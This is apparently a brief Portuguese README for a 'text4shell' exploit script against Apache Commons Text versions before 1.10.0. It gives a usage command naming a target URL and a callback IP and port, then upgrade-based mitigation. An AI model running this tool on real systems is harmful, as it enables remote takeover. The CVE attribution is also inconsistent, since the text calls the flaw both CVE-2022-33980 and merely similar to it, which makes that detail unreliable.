riskootext4shell

text4shell script for text coomons < =1.10 CVE-2022-33980

• A biblioteca Apache Commons Text é uma biblioteca alternativa às funcionalidades nativas do JDK do Java.
• Versões anteriores à versão 1.10.0 do Apache Commons
• Similar ao CVE-2022-33980

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

Mitigação

A solução principal consiste em atualizar urgentemente o componente Apache Commons Text para as versões disponíveis que corrigem esta vulnerabilidade. Concretamente, deve-se atualizar para uma versão 1.10.0 ou posterior do Apache Commons Text.

Nesta atualização, optou-se por desabilitar por padrão aquelas substituições problemáticas. No arquivo changelog da biblioteca inclui-se a seguinte mudança:

Make default string lookups configurable vía system property. Remove dns, url, and script lookups from defaults. If these lookups are required for use in StringSubstitutor.createInterpolator(), they must be enabled vía system property. See StringLookupFactory for details.

A Apache publicou um comunicado com informações oficiais e uma referência à atualização na qual o problema é corrigido.